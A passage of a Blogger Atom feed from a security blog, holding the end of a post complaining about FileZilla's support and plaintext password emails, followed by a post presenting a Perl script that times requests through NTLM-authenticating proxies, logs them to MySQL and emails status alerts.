Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;Fix: Upgrade your libc C library to the current version.&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Hrm, I wonder if that&amp;nbsp;might&amp;nbsp;provide a clue as to what's going on here? If this is the level of support a filezilla user can expect, I feel very sorry for them.&lt;br /&gt;&lt;br /&gt;Update: I decided to register for their forums, so i could post some useful advice to this thread. I would take the high road, instead of just sitting back and being snarky myself. Imagine my surprise when my confirmation email comes in to activate my account, and my username and password are both on it in plaintext...uggggg. These people make me want to cry!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-5616028161605038928?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/5616028161605038928/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/03/this-is-just-sad.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/5616028161605038928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/5616028161605038928'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/03/this-is-just-sad.html' title='This is just sad'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-6005007172133762383</id><published>2010-03-05T13:48:00.000-08:00</published><updated>2010-03-05T13:48:35.870-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='NTLM'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='proxy'/><title type='text'>Monitoring those NTLM authentication Proxies</title><content type='html'>So, now that we have discussed how to&amp;nbsp;overcome&amp;nbsp;the challenge of testing those NTLM proxies, we&amp;nbsp;move&amp;nbsp;on to a better use. Load testing is fine and good, but how&amp;nbsp;often&amp;nbsp;do you really need to load test. Let's say though, that you have a couple dozen of these proxies spread out all over the globe, and for some reason MOM just doesn't cut it with monitoring the actual request&amp;nbsp;performance&amp;nbsp;on these proxies.&lt;br /&gt;&lt;br /&gt;Using the base design of the previous script, I created one that is set to test each proxy in the environment once, through the same URL, and measure the delay in response. This is not 100% accurate as internal networking issues can cause some unaccounted fluctuation, but it is good enough for general purposes. So I created a mysql database with two tables. One is a status table, which contains the proxy, a counter, and the current known status. This is especially&amp;nbsp;useful&amp;nbsp;as the script pulls the proxies to test from this table, so adding or removing proxies is just a matter of doing it in the database, instead of altering code. the other table is a simple log file.&lt;br /&gt;&lt;br /&gt;The script times the delay in the final response from the initiation of the request and then assigns a status&amp;nbsp;based&amp;nbsp;on this result. It compares it to the current status listed for that proxy, if it is different, it updates the table and emails out an alert. If it continues in a&amp;nbsp;persistent&amp;nbsp;bad state, it will send out a new alert again on the 12 straight return of that bad status. This ensures we are notified that the status is persisting, but doesn't flood us every 10 minutes, which is how frequently the script runs. Anyways, without further ado, here is my simplistic little proxy monitoring script&lt;br /&gt;&lt;br /&gt;----------------code--------------------&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl -w&lt;br /&gt;use threads;&lt;br /&gt;use DBI;&lt;br /&gt;use LWP;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;use HTTP::Request;&lt;br /&gt;use Authen::NTLM(nt_hash, lm_hash);&lt;br /&gt;use Authen::NTLM::HTTP;&lt;br /&gt;use Time::HiRes qw( gettimeofday );&lt;br /&gt;use Math::Round;&lt;br /&gt;use Net::SMTP;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;#Opens the connection to the datbase and prepares the statement handles we will need to call on.&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;our $dbh = DBI-&amp;gt;connect("DBI:mysql:Proxy_Health", &lt;redacted&gt;, &lt;redacted&gt;) or die "Unable to connect to database $DBI::errstr";&lt;/redacted&gt;&lt;/redacted&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;our $statuschk = $dbh-&amp;gt;prepare("SELECT * from status WHERE proxy=?");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;our $statusupd = $dbh-&amp;gt;prepare("UPDATE status SET status=? , count=? where proxy=?");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;our $logsth=$dbh-&amp;gt;prepare("INSERT INTO chklog(proxy,delay) VALUES(?,?)");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;#pulls the lsit of proxies from the datbase and maps them to a hash&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;%proxies= map {$_ =&amp;gt; 0 } @{ $dbh-&amp;gt;selectcol_arrayref("Select proxy from status" )};&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;#generates a worker thread for each proxy to test&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&amp;nbsp;my $threadcount = 0;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&amp;nbsp;foreach (keys %proxies){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$threadcount+=1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$thrs[$threadcount]= threads-&amp;gt;create(\&amp;amp;Test, $_);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;}&lt;br /&gt;#performs blcoking for the threads, and returns the result of each test and inserts them into the chklog table&lt;br /&gt;&amp;nbsp;foreach (keys %proxies){&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$proxies{$_}= $thrs[$threadcount]-&amp;gt;join;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$proxy_human = $_ ;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$proxy_human=~s/http:\/\///;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$proxy_human=~s/&lt;domain redacted=""&gt;:80//;&lt;/domain&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$logsth-&amp;gt;execute($proxy_human, $proxies{$_});&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$threadcount-=1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#Takes the results, and comapres the current status of the proxy to the last recorded status of the proxy. If the status has changed, it updates the status table and sends an alert. If the status has remained the same but is in a negative state, it increments a counter. Every 12 checks that return that negative result will generate a new Alert.&lt;br /&gt;foreach (keys %proxies){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;my $scount = 0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;if ($proxies{$_}&amp;gt;= 120){ $status = 'DOWN';}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;elsif ($proxies{$_}&amp;gt;= 90){ $status = 'CRITICAL';}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;elsif ($proxies{$_}&amp;gt;= 60){ $status = 'MAJOR';}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;elsif ($proxies{$_}&amp;gt;= 40){ $status = 'MINOR';}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;elsif ($proxies{$_}&amp;gt;= 20){ $status = 'SLOW';}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;else{$status = 'GOOD';}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$statuschk-&amp;gt;execute($_);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;my @statusline = $statuschk-&amp;gt;fetchrow_array;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;if ($status eq $statusline[1]){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;if ($status eq'GOOD'){last;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;elsif ($statusline[2]==11){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$scount =1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&amp;amp;Alert($_, $status);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;print "ALERT $_ !\n";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;else{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$scount= $statusline[2] +1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;if ($scount==1){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&amp;amp;Alert($_, $status);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;print "ALERT $_ !\n";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$statusupd-&amp;gt;execute($status,$scount,$_);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;else{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;if ($status eq'GOOD'){$scount=0;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;else{$scount=1;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$statusupd-&amp;gt;execute($status,$scount,$_);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&amp;amp;Alert($_, $status);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;print "ALERT $_ !\n";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;#&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;#This function is what the worker threads run to test their given proxy.&lt;br /&gt;sub Test{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#pulls the proxy from the passed parameters, sets the target as maps.google.com because that site is set to 'private' meaning the proxy will not cache it. It then retrieves the hostname of the local machine and the login credentials, so that it can properly negotiate NTLM authentication with the proxy server&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $proxy=$_[0];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $url="http://maps.google.com";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;our $workstation = `hostname` ;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $user=&lt;username redacted=""&gt;;&lt;/username&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $my_pass = &lt;password redacted=""&gt;;&lt;/password&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#instanatiates the LWP user agent , sets the proxy, and sets the timeout to 120 seconds, because this is the timeout used on our ISA installs&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $ua = &amp;nbsp;new LWP::UserAgent(keep_alive=&amp;gt;1);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$ua-&amp;gt;proxy('http', $proxy);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$ua-&amp;gt;timeout(120);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#Creates the first request for the target website, starts the counter running and then fires off the request&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $start = gettimeofday();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $res = $ua-&amp;gt;request($req);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#Sets up the data about the client to send the NTLM Authentication Negotiation Message&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$client = new_client Authen::NTLM::HTTP(lm_hash($my_pass), nt_hash($my_pass),Authen::NTLM::HTTP::NTLMSSP_HTTP_PROXY, &lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$user, &lt;domain redacted=""&gt;, &lt;domain redacted=""&gt;, $workstation, );&lt;/domain&gt;&lt;/domain&gt;&lt;br /&gt;&lt;br /&gt;$flags = Authen::NTLM::NTLMSSP_NEGOTIATE_ALWAYS_SIGN | Authen::NTLM::NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED | Authen::NTLM::NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED | Authen::NTLM::NTLMSSP_NEGOTIATE_NTLM | Authen::NTLM::NTLMSSP_NEGOTIATE_OEM ;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$negotiate_msg = $client-&amp;gt;http_negotiate($flags);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#Takes the negotiation message and sets it as a header in the request and resends the request&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$negotiate_msg = "Proxy-" . $negotiate_msg ;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@pa = split(/:/,$negotiate_msg);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$req-&amp;gt;header($pa[0] =&amp;gt; $pa[1]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#Strips the NTLM challenge message from the response header and parses it&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $challenge_msg = "Proxy-Authenticate: " . $res-&amp;gt;header("Proxy-Authenticate");&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;($domain, $flags, $nonce, $ctx_upper, $ctx_lower) = $client-&amp;gt;http_parse_challenge($challenge_msg);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;if ($domain or $ctx_upper or $ctx_lower){$placeholder=1;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#Takes the nonce and flags from the challenge message , calculates the final authentication message, sets it as a header and sends it in the final request, recieving the originally requested page in response&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$flags = Authen::NTLM::NTLMSSP_NEGOTIATE_ALWAYS_SIGN | Authen::NTLM::NTLMSSP_NEGOTIATE_NTLM | Authen::NTLM::NTLMSSP_REQUEST_TARGET;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$auth_msg = $client-&amp;gt;http_auth($nonce, $flags);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@pa = split(/:/,$auth_msg);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$req-&amp;gt;header($pa[0] =&amp;gt; $pa[1]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#Stops the timer, calculates the elapsed time rounding to the nearest hudnredth of a second and returns that value to the main thread&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $end = gettimeofday();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $delta = ($end - $start);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$delta= nearest(.01,$delta);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;print "Finished getting $url through $proxy in $delta seconds! \n";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;return $delta;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;&lt;br /&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#This function actually handles the generation of the email alert for a status change. Depending on the status it picks from different wordings in the email subject and message.&lt;br /&gt;sub Alert{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;my $proxy = $_[0];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;my $status=$_[1];&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;if ($status eq 'GOOD'){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$subject="Subject: $proxy has returned to Normal Operation";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$message = "The ProxyHealth Monitor has detected that proxy $proxy has returned to a 'GOOD' status and is retrieving pages within an acceptable timeframe.";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;elsif ($status eq 'SLOW'){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$subject="Subject: $proxy is experiecing delay";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$message="The ProxyHealth Monitor has detected that the proxy $proxy is experiencing slowness in processing web requests. The system will continue to monitor and will send an update when the status changes.";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;elsif($status eq 'MINOR'){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$subject="Subject: $proxy is experiencing a Performance Problem";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$message="The ProxyHealth Monitor has detected that the proxy $proxy is suffering noticeable slowness in processing web requests. It's current status is rated as 'MINOR'. The system will continue to monitor and will send an update when the status changes.";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;elsif($status eq 'MAJOR'){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$subject="Subject: $proxy is experiencing a Major Performance Problem";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$message="The ProxyHealth Monitor has detected that the proxy $proxy is suffering serious slowness in processing web requests. It's current status is rated as 'MAJOR'. The system will continue to monitor and will send an update when the status changes.";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;elsif($status eq 'CRITICAL'){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$subject="Subject: $proxy is experiencing a Critical Performance Problem";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$message="The ProxyHealth Monitor has detected that the proxy $proxy is facing a 'CRITICAL' performance decrease. Web traffic throguh this proxy will be extremely slow. The system will continue to monitor and will send an update when the status changes.";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;elsif($status eq 'DOWN'){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$subject="Subject: $proxy is DOWN!";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$message="The ProxyHealth Monitor has detected that traffic through $proxy is exceeding the timeout limit of 2 minutes. This has led to the system declaring the proxy as being 'DOWN'. Web requests through this proxy will FAIL due to timeout. The system will continue to monitor and will send an update when the status changes.";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;my $mailer= Net::SMTP-&amp;gt;new(&lt;server name="" redacted=""&gt;, Hello=&amp;gt; &lt;domain redacted=""&gt;);&lt;/domain&gt;&lt;/server&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;mail(&lt;email address="" redacted=""&gt;);&lt;/email&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;to(&lt;email address="" redacted=""&gt;);&lt;/email&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;data();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;#Sets the UK and US Security Team Distribution lists as the Recipients&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;datasend('To: &lt;email address="" redacted=""&gt;, &lt;email address="" redacted=""&gt; ');&lt;/email&gt;&lt;/email&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;datasend("\n");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;datasend('Return-Path:&lt;email address="" redacted=""&gt;');&lt;/email&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;datasend("\n");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;#Sets a header that will tell the mail client that replies are to go to the Security Distribution lists and not back to the fake address used to send the alert.&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;datasend('Reply-To:&lt;email address="" redacted=""&gt;, &lt;email address="" redacted=""&gt;');&lt;/email&gt;&lt;/email&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;datasend("\n");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;datasend('FROM:&lt;email address="" redacted=""&gt;');&lt;/email&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;datasend("\n");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;#Sets the message importance to high&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;datasend('Importance: High');&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;datasend("\n");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;datasend($subject);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;datasend("\n\n");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;datasend($message);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;dataend();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$mailer-&amp;gt;quit;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-6005007172133762383?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/6005007172133762383/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/03/monitoring-those-ntlm-authentication.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6005007172133762383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6005007172133762383'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/03/monitoring-those-ntlm-authentication.html' title='Monitoring those NTLM authentication 